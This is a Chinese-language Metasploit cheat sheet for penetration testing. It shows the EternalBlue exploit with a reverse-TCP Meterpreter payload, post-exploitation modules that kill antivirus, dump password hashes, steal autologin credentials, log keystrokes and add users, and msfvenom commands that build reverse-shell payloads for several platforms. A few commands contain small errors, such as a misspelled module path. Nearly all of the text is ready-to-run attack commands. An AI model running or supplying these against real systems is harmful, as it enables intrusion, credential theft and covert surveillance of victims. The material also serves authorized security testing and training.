目录
简介
是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。
基础使用
进入框架
msfconsole
使用search命令查找相关漏洞
search ms17_010
使用use进入模块
use exploit/windows/smb/ms17_010_eternalblue
使用info查看模块信息
info
设置攻击载荷
set payload windows/x64/meterpreter/reverse_tcp
查看模块需要配置的参数
show options
设置参数
set RHOST 192.168.100.158
攻击
exploit / run
模块简介
Auxiliaries (辅助模块)
包含了一些辅助功能的模块,如扫描、信息收集等。
Exploit (漏洞利用模块)
包含了各种用于利用特定漏洞的模块,例如针对不同操作系统和应用程序的漏洞利用代码。
Payload (攻击载荷模块)
提供用于在目标系统上执行操作的有效载荷代码,例如反向Shell、远程控制等。
Post (后期渗透模块)
使用资源模块执行各种后渗透操作,如信息收集、数据盗取、持久化等。
Encoders (编码工具模块)
在渗透测试中负责免杀,以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。
后渗透阶段
Meterpreter的命令用法
background 把当前会话挂到后台运行
exit 终止 Meterpreter 会话
shell 放入系统命令 shell
sessions -l 查看获得的meterpreter_shell会话列表
sessions -i 1 进入相应的meterpreter_shell中
Post 后渗透模块
获取目标分区情况
run post/windows/gather/forensics/enum_drives
自动进程迁移
run post/windows/manage/migrate
查看目标主机是否运行在虚拟机上
run post/windows/gather/checkvm
关闭杀毒软件
run post/windows/manage/killav
开启远程桌面服务
run post/windows/manage/enable_rdp
查看路由信息
run post/windows/manage/autoroute
列举当前登录的用户
run post/windows/gather/enum_logged_on_users
列举应用程序
run post/windows/gather/enum_applications
抓取自动登录的用户名和密码
run post/windows/gather/credentials/windows_autologin
dump出所有用户的hash
run post/windows/gather/smart_hashdump
收集系统环境信息
run post/multi/gather/env
查看开启的服务
run post/windows/gather/enum_services
查看目标主机最近的操作
run post/windows/gather/dumplinks
删除用户
run post/wndows/manage/delete_user username=aiyou
添加用户
run post/windows/manage/enable_rdp USERNAME=aiyou PASSWORD=aiyou
查看目标机安装了哪些应用、补丁
run post/windows/gather/enum_applications
对目标进行漏洞扫描
run post/multi/recon/local_exploit_suggester
键盘记录
keyscan_start: #开启键盘记录功能,开关键盘记录功能后目标输入的内容我们就通过keyscan_dump命令在Meterpreter里面进行查看;
keyscan_dump: #显示捕捉到的键盘记录信息
keyscan_stop: #停止键盘记录功能
屏幕截图
screenshot
权限提升
getuid
#命令可以获取当前用户的信息,可以看到,当我们使用 getsystem进行提权后,用户身材为 NT AUTHORITY\SYSTEM ,这个也就是Windows的系统权限。
getsystem
#自动提权为系统权限
上传/下载文件
上传
upload file
下载
download file
常用扩展库
load/use
load/use #加载模块
load -l #列出所有可用的扩展
load -help #帮助;说明
msfvenom生成shell的命令
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.132 LPORT=9999 -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=<Your Port to Connect On> -f exe > shell.exe
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
导入并执行PowerShell脚本
加载powershell功能
load powershell
导入powershell脚本,提前将该powershell脚本放到指定目录
powershell_import /root/PowerView.ps1
执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块;获取当前用户所在域的名称;
powershell_execute Get-NetDomain
该功能模块用于定位域管理员登录的主机
powershell_execute Invoke-UserHunter
该模块用于定位域信息
powershell_execute Get-NetForest
枚举域中所有计算机上本地管理员组的成员
powershell_execute Invoke-EnumerateLocalAdmin